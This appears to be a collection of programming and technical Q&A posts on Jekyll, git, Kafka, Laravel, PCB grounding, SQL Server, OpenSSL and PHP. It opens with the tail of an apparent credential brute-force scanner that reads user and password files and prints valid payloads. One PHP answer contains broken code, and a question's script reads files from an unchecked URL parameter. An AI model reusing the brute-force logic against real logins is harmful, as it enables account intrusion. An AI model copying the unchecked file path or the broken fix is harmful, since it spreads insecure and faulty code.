                print('{} --> Válido'.format(payload))

except KeyboardInterrupt:
    print("Varredura encerrada!")

# Fecha arquivos
file_pass.close()
file_user.close()


text:
Q: GitHub Pages failed to build your site: File to import not found or unreadable: variables I am trying to build a simple blog with Github Pages and I have tested my changes locally with jekyll serve bundler. The problem is when I push my changes to GitHub, I see the following error:
Your SCSS file blog/styles.scss has an error on line 15: File to import not found or unreadable: variables. Load path: /hoosegow/.bundle/ruby/2.5.0/gems/jekyll-theme-primer-0.5.4/_sass.

I looked at _sass/_variables.scss file and I don't see any obvious issues.
Any pointers? Appreciate any help (FYI - I new to ruby and jekyll ecosystem)

A: I was able to find the cause of this issue. The problem was that all my blog files were under the blog/ directory in the repository and GitHub Pages does not use that as the source to publish the blog. It expects the source to be at the root of the repository. Once I moved all the files to the root of the repository, everything worked fine.


text:
Q: Automatically create snapshot before launching VirtualBox VM? Does anyone have a script or know how to write one to automatically take a snapshot of a VM before launching it for use?

A: If your running windows placing this text into a .bat file should do the trick:
cd "C:\Program Files\Oracle\VirtualBox
VBoxManage snapshot "Virtual Name" take "Snapshot Name"
VBoxManage startvm "Virtual Name"

If your running a *NIX you will have to change this to something like
VBoxManage snapshot "Virtual Name" take "Snapshot Name"
VBoxManage startvm "Virtual Name"

As you wont need to change your directory to access the VBoxManage command and save it to a .sh file, change the attribute to executable and then invoke it to run it.

A: probably you don't need this anymore, but in case someone will have the same problem, I created a simple script to automatically snapshot my virtual machines.
GitHub: https://github.com/Meru3m/virtualbox-snapshotter

A: I made my own version of backup if someone need it
Regards
https://github.com/nktrabajo/bashbackups


text:
Q: Couldn't able to initialise and push Github repository directly from Atom IDE I'm new to Atom Editor. Currently working on a PHP project which needs to push into the Github repo. I have initialized the project folder using git init command in the Atom IDE terminal itself. When I try to push the changes into the git. I throw various error messages I followed the command given in the terminal but doesn't work either.
When I tried to execute git push I get below error message

fatal: '' does not appear to be a git repository

Then I executed git init again and git commit -m "message" but again it asked me to upstream the changes I did the same using below command
git push --set-upstream master master

Keep on getting these two errors.

A: If the IDE somehow fails, step back and go to the command line (shell or CMD)
In the root folder of your project, check that there is a .git/ subfolder.
Type git remote -v.
If you do not see an entry "origin" with the URL of your remote repo, type:
git remote add origin /url/remote/repo

You should see:
C:\Users\vonc\git\go-prompt>git remote -v
origin  https://github.com/VonC/go-prompt (fetch)
origin  https://github.com/VonC/go-prompt (push)

Then, assuming you have added/committed file, try again the
git push -u origin master
# not master master, but origin master


text:
Q: kafka Streams session windows Hello I am working on kafka  session window with inactive time 5 mins. I want some kind of feedback when inactive time is reached and session is drooped for the key.
lets assume I have

(A,1)

record where 'A' is the key. now if i don't get any 'A' key record in 5 mins the session is dropped.
I want to do some operation on end of session lets say (value)*2 for that session. is there any way I can achieve this using Kafka Stream API

A: Kafka Streams does not drop a session after the gap-time passed. Instead, if will create a new session if another record with the same key arrives after the gap-time passed and maintain both session in parallel. This allows to handle out-of-order data. It could even happen, that two session get merged if an out-of-order data falls into a gap and "connects" both sessions with each other.
Sessions are maintained for 1 day by default. You can change this via SessionWindows#until() method. If a session expires it will be dropped silently. There is no notification. You also need to consider config parameter window.store.change.log.additional.retention.ms:

The default retention setting is Windows#maintainMs() + 1 day. You can override this setting by specifying StreamsConfig.WINDOW_STORE_CHANGE_LOG_ADDITIONAL_RETENTION_MS_CONFIG in the StreamsConfig.

Thus, you want to do react if time passed, you should look into punctuations that allow you to register regular callbacks (some kind of timer) either based on "even time progress" or wall-clock time. This allows you to react if a session is not update for a certain period of time and you think it's "completed".


text:
Q: Database abstraction layer for AIR (JS)? I was wondering if there are any abstraction layers for the SQLite database thats integrated into Adobe AIR.
I don't expect something like Doctrine or Zend_Db (coming from the PHP world) but a bit more abstraction and comfort would be really nice.
I'm using the HTML/JavaScript flavor of AIR so any ActionScript stuff is of no use to me.

A: Haven't used this, but ActiveRecordJS supports SQLite for AIR.


text:
Q: How to get access to canvas in the TOAST UI Component Image Editor? I use TOAST UI Component Image Editor on a webpage. I'd like to to save the image to Base64 string. There are no properties in imageEditor object to allow me to access the edited image in canvas. I searched Google and Stackoverflow, no results.

A: I checked the file tui-image-editor.js for download function as suggested by gaetanoM.
The solution is to call for base64 string of the edited image. The base64 string starts after the data:image/png;base64, prefix.
imageEditor.toDataURL();

Where imageEditor is a global JavaScript variable declared during image load.

A: It is using fabric.js library. You can access the canvas object directly by :
ImageEditor._graphics.getCanvas();
it will give you a fabric object, assign this to some variable and you can use fabric.js functions with this.


text:
Q: Polymer:how to handle csv file upload and convert to json and send to server i want to handle a requirement in polymer webcomponents where user can upload csv file from ui and csv file can be parsed to json and sent to server ,i searched and found for vaadin upload,looked over the api but i am not sure how to receive  the csv file and convert to json  and sent to server,can anyone show a jsfiddle of vaadin upload or any other web component to handle this scenario?

A: First of all, I am wondering why you would not simply do the conversion on the server side.
In this case, you would be able to use the vaadin-upload directly indeed.
Here is a snippet that would upload all files to the example.com server, and only allow CSV files.
<vaadin-upload target="https://example.com/upload" method="POST" accept="text/csv">
</vaadin-upload>

There are plenty of resources on how to convert CSV files to JSON.

*

*Here is a snippet

*And here is a node library
If you really wanted to do the conversion client side, then I would suggest to create an element that would embed a vaadin-upload, and convert the Files array to Json before manually calling the uploadFiles method.


text:
Q: uploading a image with jQuery ajax and manipulating and saving to server with intervention api First of all let me explain simply what it is I am trying to achieve.
The user fills out a form and on submit I would like to send all the data with jQuerys $.post method and then with Laravel 5.1 and Intervention API(http://image.intervention.io/) I would like to process the data and upload the image to the correct directory on the server.
My data does send to the server(local) and I am able to read it all using Laravels Input class, I think the problem lies with the way I am using Intervention however I can't be certain.
Here is the relevant JS I have for the form(removed irrelevant code):
$.ajaxSetup({
  headers: {
    'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
  }
});

var State = {
    CurrentCategorySelected: 1
}

var URIROOT = '/administrator/';

$(document).on('click', '.ModalSave', function(e)
{
  var fd = new FormData( $('.ProductForm').get(0) ),
        action = $(this).attr('data-saving');

    fd.append('category_id', State.CurrentCategorySelected);

    $.ajax({
        url: URIROOT+"new_product",
        type: "POST",
        data: fd,
        processData: false,
        contentType: false,
        success: function(response) {
            console.log(response);
        },
        error: function(jqXHR, textStatus, errorMessage) {
            console.log(errorMessage);
        }
    });

    e.preventDefault();
});

This JS seems to work just fine however I thought I would post it just so you know where the data originates.
Next my Laravel Route is as follows:
Route::post('new_product', 'Admin\ProductManagerController@saveNewProduct');

And the relevant PHP in the controller is as follows(removed irrelevant code):
    <?php namespace TottonTimber\Http\Controllers\Admin;

    use View;
    use Image;
    use Input;
    use DB;
    use Illuminate\Http\Request;
    use TottonTimber\Http\Requests;
    use TottonTimber\Http\Controllers\Controller;
    use TottonTimber\Category;
    use TottonTimber\Product;

  class ProductManagerController extends Controller {
    public function saveNewProduct()
    {
        /*
         * Define Varibles
         */
        $input = Input::all();
        $image = Input::file('main_image');
        $image_name = time().$image->getClientOriginalName();
        $imageDir = public_path('img/catalogue/products/' . $image_name);
        $imageDirSmall = public_path('img/catalogue/products/small_thumbs/' . $image_name);
        $imageDirMedium = public_path('img/catalogue/products/medium_thumbs/' . $image_name);
        $imageDirLarge = public_path('img/catalogue/products/large_thumbs/' . $image_name);
        /*
         * Save the Image and all of its resized siblings
         */
        Image::make($image->getRealPath())->save($imageDir);
        Image::make($image->getRealPath())->resize(null, 100, function ($constraint) {
                $constraint->aspectRatio();
            })->save($imageDirSmall);
        Image::make($image->getRealPath())->resize(null, 200, function ($constraint) {
                $constraint->aspectRatio();
            })->save($imageDirMedium);
        Image::make($image->getRealPath())->resize(null, 400, function ($constraint) {
                $constraint->aspectRatio();
            })->save($imageDirLarge);

        /*
         * Create a new entry in the database for the new product
         */
        $product = new Product;
        $product->description = $input['description'];
        $product->content = $input['content'];
        $product->price = $input['price'];
        $product->product_code = $input['code'];
        $product->main_image = $image_name;
        $product->status = 'enabled';
        $product->save();

        /*
         * Create the Relationship to its category
         */
        DB::table('category_product')->insert([
            'category_id' => $input['category_id'],
            'product_id' => $product->id
        ]);
    }
  }

The code breaks where the first "Image::make.." function is ran so I am not sure if this is because I am passing incorrect data or what.
If I var_dump some some things so you can see the output:
$image
object(Symfony\Component\HttpFoundation\File\UploadedFile)#27 (7) {
  ["test":"Symfony\Component\HttpFoundation\File\UploadedFile":private]=>
  bool(false)
  ["originalName":"Symfony\Component\HttpFoundation\File\UploadedFile":private]=>
  string(23) "22mm Sawn Whitewood.jpg"
  ["mimeType":"Symfony\Component\HttpFoundation\File\UploadedFile":private]=>
  string(24) "application/octet-stream"
  ["size":"Symfony\Component\HttpFoundation\File\UploadedFile":private]=>
  int(0)
  ["error":"Symfony\Component\HttpFoundation\File\UploadedFile":private]=>
  int(1)
  ["pathName":"SplFileInfo":private]=>
  string(0) ""
  ["fileName":"SplFileInfo":private]=>
  string(0) ""
}

$image->getRealPath()
string(52) "C:\Users\alex\Documents\websites\TottonTimber\public"

$imageDir
string(109) "C:\Users\alex\Documents\websites\TottonTimber\public/img/catalogue/products/143869677322mm Sawn Whitewood.jpg"

What is it I am doing wrong ?


text:
Q: Grounding PCB Within Aluminum Enclosure I have been doing some research on this question and, while I found a number of questions here asking something similar, I don't quite get the side-by-side comparison I am looking for. Therefore I decided to ask my own version of the question.
I am designing a PCB which will eventually be fitted inside an aluminum enclosure and used outdoors exposed to the elements. A number of other devices are connected to this box through potentially long lengths of cable. Since this device will be exposed, I need to do my best to protect the PCB from nearby lightning strikes and similar events. The enclosure itself has a large copper ground lug to which an external earth ground strap is attached. The ground strap is connected to a large grounding rod pounded deep into the earth. My question pertains to the connection between the PCB and the aluminum enclosure.
There are two options that I would like to compare:

*

*A heavy-duty wire about 3-6 inches long is soldered directly to a large earth ground pad on the PCB which connects to a copper pour covering the top and bottom layers of the board. This wire then connects to the back of one of the ground lug mounting screws with a large ring crimp connector.

*Earth ground contact is made between the PCB and the aluminum enclosure using four large copper-plated mounting screws which secure the board in the box via the provided tapped mounting holes. The mounting holes/pads on the PCB are plated through and connect the PCB to earth ground by way of the copper-plated screws.
Which of these two options is preferred to ground the PCB and protect against EMI and/or large surge events? Obviously I am looking for the lowest-impedance option, which intuition would tell me is the one where the ground connection is made through the mounting screws, but there has been some discussion of the opposite being true.

A: Using method #1 as a basis, the wire is supposed to go to to a large pour that is NOT the ground plane on the PCB, but is split from it yet still connects at one point. All other things that might be hit by transient events must also connect to this plane (like connector backshells and cable shields).
The purpose of this is to provide a path for transient currents to flow to to ground while keeping the PCB at the same potential as the transient, yet not allowing the transient to flow through the PCB on its way to earth.
This automatically rules out #2 because having multiple connections to ground means that the transient current might flow THROUGH the PCB on its way to earth. Even if the earth plane is separated from the ground planes, the fact that they overlap introduces capactive coupling between the planes.
Connecting to just one point on the PCB with no split plane has a similar issue in that current spreads out when on the ground plane and this can flow under components which is why you want the split and connection to the ground plane at only one point.
If you can find a copy of Henry Ott's book it covers this in more detail in Chapter 15.
Here is a table that compares the impedance of soldered vs screw connections. It's not directly applicable to your scenario, but I think it indicates the copper screw and riser  method should be fine, as long as it's only connected to one point on the PCB. Since it's only a single-point connection, can connect straight to the ground plane in this case too since transient currents in the enclosure shouldn't be flowing through the riser. You don't need a mini-earth plane on the PCB (that is the conductive enclosure itself).
This connection point to the enclosure should be as close as possible to all cable shield connections to the enclosure, if you have any.

Taken from Electromagnetic Compatibility, Henry Ott 2009


text:
Q: High Scalability in Domain-Driven Design I'm using DDD for a service-oriented application intended to transmit a high volume of messages between a high volume of web clients (i.e., browsers).
Because in the context of required functionality, the need for transmission outweighs the need for storage, I love the idea of relying on RAM primarily and minimizing use of the database.
However I'm unclear on how to architect this from a scalability point of view.  A web farm creates high availability of service endpoints and domain logic processing.  But no matter how many servers I have, it seems they must all share a common repository so that their data is consistent.
How do I build this repository so that it's as scalable as possible?  How can it be splashed across an array of physical machines in a manner such that all machines are consistent and each couldn't care less if another goes down?
Also since touching the database will be required occasionally (e.g., when a client goes missing and messages intended for it must be stored until it returns), how should I organize my memory-based code and data access layer?  Are they both considered "the repository"?

A: There are several ways to solve this issue. No single answer can really cover it all...
One method to ensure your scalability is to simply scale the hardware. Write your web services to be stateless so that you can run a web farm (all running the same identical services, pointing to the same DB) and turn your DB into a cluster. Clustered databases run over multiple servers and work on the same storage. However, this scenario can get complicated and expensive quite quickly.
Some interesting links:

*

*http://scale-out-blog.blogspot.com/2009/09/future-of-database-clustering.html

*http://en.wikipedia.org/wiki/Server_farm
Another method is to look at architecture. CQRS is a common architectural model that ensures scalability. For instance, this architecture model -- its name stands for Command/Query Responsibility Segregation -- builds different databases for reading and writing. This seems contradictory, but if you study it, it becomes natural and you wonder why you've never thought of it before. Simply put, most apps do a lot more reading than writing, and writing tends to be a lot more complicated than reading (requiring business rule validation etc.), so why not separate the two? You can use your expensive transactional database for writing and then your cheap, maybe Non-SQL based or open source, database over multiple reading servers. Your read model is then optimized for the screens of your application(s), whereas the write model is optimized solely for writing and is in fact a DDD-based set of repositories.
There's just not enough room here to cover this option in detail, but CQRS is a good way of achieving scalability and even ease of development, once you have a CQRS framework in place. There are many other advantages to CQRS, such as ease of auditing (if you combine it with the "event sourcing" technique, which is common in CQRS-based environments).
Some interesting links:

*

*http://cqrsinfo.com

*http://abdullin.com/cqrs

*http://blog.fossmo.net/post/Command-and-Query-Responsibility-Segregation-(CQRS).aspx

A: Are you ready for some reading?  There are a lot of options, but I believe you should start by learning about the advantages of modern distributed NoSQL dbs, and enjoy learning from the experience learned in facebook, linkedin and other friends.  Start here:

*

*http://highscalability.com/

*http://nosql-database.org/


text:
Q: SQL - clearing execution cache I'm trying to profile a few queries but as you know, when you run a query a second time, it comes back in 0ms. I'm using
DBCC FREEPROCCACHE

but that doesn't seem to do the trick. what else can I run to clear any trace of execution/results cache?

A: CHECKPOINT;
DBCC dropcleanbuffers;

This should not be run on a production server though. CHECKPOINT is a database scoped command that will write the dirty buffers to disc so they will be affected by the next command but DBCC dropcleanbuffers is global and all data pages dropped from the buffer cache in this manner will need to be read in from disc when used next time.

A: You'll also want to use DBCC DROPCLEANBUFFERS.  This will test the queries with a cold buffer cache.
DBCC FREEPROCCACHE
DBCC DROPCLEANBUFFERS


text:
Q: Figuring out the formula of a recurrence relation I've got a recurrence relation which I'm stuck on figuring out the formula for:
The relation is: $T(n) = 2 T(n/4) + 1$ where $T(1) = 1$
So for my tests, I did:
$T(4) = 2 T(4/4) + 1 = 2 T(1) + 1 = 2\times1+1 = 3$
$T(16) = 2 T(16/4) + 1 = 2 T(4) + 1 = 2\times (2\times1+1) +1 = 7$
$T(64) = 2 T (64/4) + 1 = 2 T(16) + 1 = 2\times ( 2\times (2\times1+1) +1 )+1 = 15$
So I've noticed that by writing out all the multiplications, the number of $2$'s and number of $1$'s seems to be equal to the power of $4$, i.e. at $T(64)$, equivalent to $4^3$ , there are $3$ lots of $2$'s and $1$'s in the multiplication (not including the $*1$ which doesn't change the answer anyway) so I thought that the formula may then be:
$T(4^n ) = 2n + 1n$
But when I tried it out it didn't seem to work, I've also noticed the actual answers go up by the answer to the previous relation $ + 4* $the power of the previous $n$, e.g. at:
$T(16)$, the answer is $7$, answer to the previous is $3$, power of the previous is $1$ $(4^1 ) 3 + 4x1 = 7$
$T(64)$, the answer is $15$, answer to the previous is $7$, power of the previous is $2$ $(4^2 ) 7 + 4*2 = 15$

A: It should be $T(4^n ) = 2^{n+1} -1$. We have that $T(1)=T(4^0)=2^1-1=1$ and the recurrence holds:
$$T(4^{n+1} )=2T(4^n )+1=2(2^{n+1} -1)+1=2^{n+2}-2+1=2^{n+2}-1.$$
More generally, if $T(n)=mT(n/r)+q$ with $m\not=1$ then $T(r^n)=Am^n+B$:
$$Am^{n+1}+B=T(r^{n+1})=mT(r^n)+q=m(Am^n+B)+q\implies B=q/(1-m)$$
and $A=T(1)-B$.

A: We will develop the recurrence:
$T(n) = 2T(n/4) + 1$
$T(4n) = 2T(n) + 1$
$T(16n) = 2T(4n) + 1$ $\to T(16n) = 2[2t(n)+1] + 1 = 4T(n) + 2 + 1$
$T(64n) = 2T(16n) + 1$ $\to T(64n) = 2[4t(n)+2 + 1] + 1 = 8T(n) + 4 + 2 + 1$
$...$
$T(4^pn) = 2T(4^{p-1}n) + 1$ $\to T(4^pn) = 2^pT(n) + \sum_{i=0}^p 2^i$
$\to T(4^pn) = 2^pT(n) + 2^p - 1$
but it was given that $T(1) = 1$ so:
$\to T(4^p) = 2^p*1 + 2^p - 1$
$\to T(4^p) = 2^{p+1} - 1$ (I)
doing: $z = 4^p$ we have to:
$2p = log_2 z$ $\to p = \frac{1}{2}log_2 z $
replacing in (I) have to:
$T(z) = 2^{\frac{1}{2}log_2 z + 1} - 1$
$T(z) = 2*2^{\frac{1}{2}log_2 z} - 1$
$T(z) = 2\sqrt{z} - 1$
since z is a generic variable, we finally return to:
$T(n) = 2\sqrt{n} - 1$
I hope this may have helped.


text:
Q: BIO_get_mem_ptr is returnig 0 as length and output Here I am trying to get the size of bio file as ,
long res = BIO_get_mem_ptr(certBio, &bptr);
length = bptr->length; // is the length

I got this sample code from some stackoverflow question. I have tried many time but the BIO_get_mem_ptr is giving a null pointer in bptr with return value 0. I can't find any solutions related to this problem in any reference sites.
Here is the source code,
int pass_cb(char *buf, int size, int rwflag, void *u)
{
    int len;
    char *tmp;
    tmp = "123456";
    len = strlen(tmp);

    if (len <= 0)
        return 0;
    if (len > size)
        len = size;
    memcpy(buf, tmp, len);
    return len;
}

int main(void)
{
    X509 *x509;
    int length = 0;

    unsigned char data[1000];
    unsigned char *buffer = NULL;
    buffer = data;

    BIO *certBio = BIO_new(BIO_s_file());
    // BIO *certBio = BIO_new(BIO_s_mem());  -> have tried this one too gives the same result
    BUF_MEM *bptr = 0;

    BIO_read_filename(certBio, "E:\\share\\Folder\\TempCert.pem");

    x509 = PEM_read_bio_X509_AUX(certBio, NULL, pass_cb, NULL);

    long res = BIO_get_mem_ptr(certBio, &bptr);
    length = bptr->length;

    memset(&buffer, 0, 1000);

    int  ret = BIO_read(certBio, &buffer, length);

    BIO_free_all(certBio);
    CertFreeCertificateContext(pContext);
    CertCloseStore(hStore, 0);
    return 0;
}

What is the problem causing here,

A: As you can see on The Man bio_get_mem_ptr wants a memory BIO

A memory BIO is a source/sink BIO which uses memory for its I/O. Data written to a memory BIO is stored in a BUF_MEM structure which is extended as appropriate to accommodate the stored data.

You are trying to use a file, so you should use the example code on The Man of bio_s_file


text:
Q: Problem with thumbnails after newly added - PHP on-the-fly method to those that may have read my previous question that got solved a couple minutes ago >.<
The on-the-fly php script works perfectly, but when I went to upload new images into a gallery which I made myself, the images are resized to 150 x 150 for what I wanted... however, when it comes to new images being added it is all black...

As you can see the three black images that were uploaded to the folder and the directory added to the database.
The other (non-black images) are already resized with image.php.
What is causing this?
If I view the source, the code is fine... the while loop in the PHP generates an output like this:

             Delete

An example of one block.
If I view the source (in Firefox) and click on the image.php?dir=img/events/Paintballing/24251_1395408043148_1170626626_1204038_5382765_n.jpg by exmaple, I can see the thumbnail at it's 150 x 150 size but in the layout, it shows a black thumbnail...
Does anyone know why this is happening?
EDIT:
<?php

$dir = $_GET['dir'];

header('Content-type: image/jpeg');

$create = imagecreatetruecolor(150, 150);

$img = imagecreatefromjpeg($dir);

list($width, $height) = getimagesize($dir);

imagecopyresampled($create, $img, 0, 0, 0, 0, 150, 150, $width, $height);

imagejpeg($create, null, 100);

?>

This is image.php.

A: Thanks for updating your post.
Are you positive that the image is a jpg/jpeg that your uploading.
Try changing to the following
<?php

$dir = $_GET['dir'];
$ext = strtoupper(pathinfo($dir, PATHINFO_EXTENSION));
switch($ext)
{
    case 'jpeg':
    case 'jpg':
        $img = imagecreatefromjpeg($dir);
    break;
    case 'png':
        $img = imagecreatefrompng($dir);
    break;
    case 'gif':
        $img = imagecreatefromgif($dir);
    break;
}
if(isset(img))
{
    header('Content-type: image/jpeg');
    $create = imagecreatetruecolor(150, 150);
    list($width, $height) = getimagesize($dir);
    imagecopyresampled($create, $img, 0, 0, 0, 0, 150, 150, $width, $height);
    imagejpeg($create, null, 100);
}else
{
   echo sprintf('Unable to process image, Unknown format %s',$ext);
}
?>

A: Rather than stretching the images why not add a border?
Here's the function
    function resize_to_canvas($filename,$canvas_w=100,$canvas_h=225){
list($width, $height, $type) = getimagesize($filename);

$original_overcanvas_w = $width/$canvas_w;
$original_overcanvas_h = $height/$canvas_h;

$dst_w = round($width/max($original_overcanvas_w,$original_overcanvas_h),0);
$dst_h = round($height/max($original_overcanvas_w,$original_overcanvas_h),0);

$dst_image = imagecreatetruecolor($canvas_w, $canvas_h);
$background = imagecolorallocate($dst_image, 255, 255, 255);
imagefill($dst_image, 0, 0, $background);

$src_image = imagecreatefromjpeg($filename);
imagecopyresampled($dst_image, $src_image, ($canvas_w-$dst_w)/2, ($canvas_h-$dst_h)/2, 0, 0, $dst_w, $dst_h, $width, $height);
imagegif($dst_image, $filename);
imagedestroy($dst_image);}

This function will replace the original file but is easily modified to create a new thumbnail image. Just change the file name the line imagegif($dst_image, $filename);


text:
Q: Gatsby build production type undefined errors I'm getting an error when trying to build production for gatsby, but on develop my website runs with no problem. I'm using Material UI and it's choking on the areas that I'm using the library. Even when I comment those out I get other type undefined errors on areas like passing a prop from parent to child.
When running gatsby build I get:

failed Building static HTML for pages - 6.444s
ERROR #95313
Building static HTML failed for path "/404/"
See our docs page for more info on this error:
  https://gatsby.dev/debug-html
15 |   },   16 |   activeLink: {

17 |     color: ${theme.link.active} !important,
         |                          ^   18 |   },   19 |   linkLogo: {   20 |     height: "100%",

WebpackError: TypeError: Cannot read property 'active' of undefined

This is the part of my code that's running into an error during build. It can't be a misuse because on develop it's working.
const useStyles = makeStyles(theme => ({
appBar: {
 backgroundColor: "transparent",
 position: "relative",
 boxShadow: "none",
 marginBottom: props => props.data.headerMb,
},
activeLink: {
 color: `${theme.link.active} !important`,
},
}))

Even when I comment that part out I get simple type undefined errors when passing a prop to a child component only during gatsby build. Honestly confused why there are so many type errors as I comment each one out another shows up.

A: Turns out it was a 404.js page that was using a component that required props that I didn't pass in. Not sure why during build it didn't tell me that but complained about other pages.
So make sure if any pages are unused to delete them or they include all the props that are required.

A: It seems theme.link doesn't exist and that's why you are getting that error. You may want to use a default value there and do something like:
activeLink: {
  color: `${theme.link ? theme.link.active : 'your-default-color'} !important`
}


text:
Q: Rename PowerPoint custom Tab name depending on PowerPoint Version I have created a plug-in for PowerPoint 2010 and later versions.
I have to keep the custom tab label in lowercase in PowerPoint 2010 while that in uppercase in later versions.
Now, I am using below code in the InitializeComponent() method in MyRibbon.Designer.cs file
if (Convert.ToDouble(Globals.ThisAddIn.strVersion) == 14.0)
{
    this.tab1.Label = "myTab";
}
else if (Convert.ToDouble(Globals.ThisAddIn.strVersion) > 14.0)
{
    this.tab1.Label = "MYTAB";
}

However, I want to decide the tab label somewhere else and then use it in the designer class file.
But I know that InitializeComponent() is the first method to be called and this is causing all the trouble.
I have used "Globals.ThisAddIn.strVersion" as I have to use this multiple times throughout the project solution.
Please suggest.
Thanks!

A: This seems to work for me:
// Setting up the startup event
private void InternalStartup(){
    this.Startup += new System.EventHandler(ThisAddIn_Startup);
}

// The event handler
private void ThisAddIn_Startup(object sender, System.EventArgs e){
    Globals.Ribbons.Ribbon1.tab1.Label = Convert.ToDouble(Globals.ThisAddIn.Application.Version) <= 14 ? "myTab" : "MYTAB";
}

Or you could also try the ribbon load event:
// Hook up the handler in InitializeComponents
this.Load += new Microsoft.Office.Tools.Ribbon.RibbonUIEventHandler(this.Ribbon1_Load);

// The handler
private void Ribbon1_Load(object sender, RibbonUIEventArgs e){
    tab1.Label = Convert.ToDouble(Globals.ThisAddIn.Application.Version) <= 14 ? "myTab" : "MYTAB";
}

A: This worked for me-
private void InitializeComponent()
{
    this.tab1.label = "myTab";
}

Also in the Ribbon Load event handler, add the following code:
private void Ribbon_Load(object sender, RibbonUIEventArgs e)
{
    objRibUI = e.RibbonUI;
    objRibUI.Invalidate();
}

The tab text case is automatically taken care of.
Cheers.


text:
Q: Why is left style ignored? I have logo on page in the following code

I have added left attribute to logo style
.logo {
   display: inline-block;
   line-height: 1;
   vertical-align: middle;
}

this
left: 400px;

But it is ignored. Chrome Developer tools shows this style is active, but the image is displayed at the zero distance from left side of browser window.
Why?

A: In order for a left, top, bottom, right value to take effect, the item must be positioned.
Add either position: absolute or position: relative depending on your needs.
Absolute will position it relative to it's closest positioned parent.
Relative will position relative to itself.

A: you can either side the position:relative or set the left padding to be 400px
position:relative;
left: 400px;

or
padding-left:400px


text:
Q: The Sql Database is not deleted I'm getting an error deleting a database I created about a year ago. in the error, when I run these codes, it says:
USE MASTER;
GO
DROP DATABASE StoreDatabase;
GO

Cannot drop the database 'StoreDatabase', because it does not exist or you do not have permission.
when I try to manually delete it manually
Right-click => Delete => Delete Backup and restore history information for database and Close Existing connections
in the error message it says:
The object of type "Database" named "StoreDatabase" does not exist on the server (SqlManagerUI)
how can I solve this error. thank you for your help.

A:
The Sql Database is not deleted

You do not delete a database but DROP it

Cannot drop the database 'StoreDatabase', because it does not exist or you do not have permission.

Error includes two parts: (1) database does not exist or (2) you do not have permission. Please connect the server using SSMS or Azure Data Studio
(1) Use SSMS and execute the following query in order to confirm that the database exists
select DatabaseName = [name] FROM sys.databases
where [name] = 'StoreDatabase'
GO

(2) In order to DROP a database you need to have CONTROL permission on the database, or ALTER ANY DATABASE permission on the server, or to be membership in the db_owner fixed database role. Execute the following query to check that you have the permissions
USE StoreDatabase;
SELECT * FROM fn_my_permissions (NULL, 'DATABASE')
where permission_name = 'CONTROL'
GO

SELECT * FROM fn_my_permissions(NULL, 'SERVER')
where permission_name = 'ALTER ANY DATABASE'
GO

USE master;
select DatabaseName = [name], DatabaseOwner = suser_sname(owner_sid)
FROM sys.databases
where [name] = 'StoreDatabase'
GO

Try to DROP the database when you are connected as sysadmin (for example the USER sa)


text:
Q: Calling different sections of an external script through "source" I have just finished writing a set of R scripts. There is one master file and 5 additional external r files called by the source function. I was wondering whether it is possible to unify the five external scripts into one single file; dividing the entire code into five sections run into different moments.
Is it possible to do so by using source?. If not, which strategy do you suggest?

A: As @flodel said in the comment, write functions. There are a few previous answers that are worth checking out:

*

*Workflow for statistical analysis and report writing

*writing functions vs. line-by-line interpretation in an R workflow

*How do you combine "Revision Control" with "Workflow" for R?


text:
Q: jQuery delay start function I'm using the jQuery Cycle plugin to cycle through some words, but I don't want it to start or show any of the words until a few seconds after page load, perhaps 10 seconds or so.
This is the code I have:
$(document).ready(function() {

 $('#questions').cycle({
    delay:  10000,
    speed:  2000
});
});

What would be the best way to wait 10 seconds and then run the cycle function and also show the content that will be hidden by default. Thanks.

A: Just use the javascript setTimeout function.
setTimeout(function(){
    $('#question').cycle({ speed: 2000 });
    // Other code to show whatever you want goes here, ie. $('some selector').show();
}, 10000);

A: You can use the setTimeOut() function:
$(function(){
  setTimeOut(function(){
    $('#questions').cycle({
        delay:  10000,
        speed:  2000
    });
  }, 5000)
});


text:
Q: openvpn: restrict client communications I have 4 windows servers (2008 and 2019) that are correctly connected to a OpenVPN server (ubuntu), and communicating like a charm thanks to "client-to-client" option, I can ping, RDP, access Apache ...
All the clients have a ccd file for static ips.
I would like to allow only one client to access these servers for administration purpose and prevent them from seeing each other.
I can't find a simple solution to this, please help.


text:
Q: How to Create a Java Quiz GUI? I would like to create a quiz for my Java GUI.
I'd like it to display a question on one page, then have a next button which takes the user to another page telling them if that question was correct or not, and if it is correct they can move on to the next question (by clicking another next button) and if they got it wrong, have to go back and answer it again. However I have no clue how to do this!!
So far I have a simple GUI with a welcome page and tabs down the side, one of which includes a quiz. Would it be a better idea to create the quiz in Flash or something and then embed it into my Java application? Or just do the whole thing in Java? I'm really new to java so I'm not at all sure what to do, any help would be greatly appreciated!
Thanks

A: It would be best to use just Java. Consider using CardLayout with your GUI to allow swapping questions, or else you can create and modify key components on the fly such as the text displayed by JLabels and JRadioButtons.
Key though before considering any GUI structures  is to first create solid OOPS based non GUI classes to handle your questions. For instance, you may want classes for:

*

*Question class that holds a question String, a List of possible answer Strings, a correct answer String. This class can randomly order the incorrect and correct answers, can have a method for checking if the answer selected is correct.

*A Test class that holds a collection of questions, that can present questions in random order, that can hold the score obtained.

*A QuestionReaderWriter class that can read and write questions to a text file (you definitely do not want to hard-code the question text).

A: For this type of app it would be best to use the language you are more familiar with.
Since this is just a simple display this  then do that there really is nothing very difficult about it.
Personal, I would lean towards Flash as the flash IDE is drag and drop and an experienced flash guru could make this in a few hours. Flash IDE is geared towards this.


text:
Q: Torsion parts of elliptic curve Given an elliptic curve $E$ over a field $k$, I know that that the kernel of the power map $[n]:E\rightarrow E$ (here $char(k)\not| n$) has the structure $ker[n]=\operatorname{Spec}(\bigsqcup_i K_i)$ where each $K_i$ is finite separable over $k$ and $\Sigma_i [K_i:k]=n^2$.
Now in the notes I am reading the following argument is used:
$ker[n](\overline{k})$ is an abelian group of order $n^2$ (here $\overline{k}$ is some algebraic closure of $k$). For all $d|n$ we have that $ker[d](\overline{k})=(ker[n])(\overline{k})[d]$. Hence, $(ker[n])(\overline{k})\cong (\mathbb{Z}/n\mathbb{Z})^2$.
The only thing that does not make sense to me is the final conclusion. I understand everything before. But, why do the arguments before have to imply that the $\overline{k}$-rational points of the kernel is not a cyclic group of order $n^2$?
Appologies if it turns out to be some silly argument that I am missing.

A: What you need is the following lemma, stated as Exercise 3.30 in Silverman's book "The Arithmetic of Elliptic Curves" or (unnumbered) Lemma p. 126 in Hindry--Silverman's book "Diophantine Geometry".

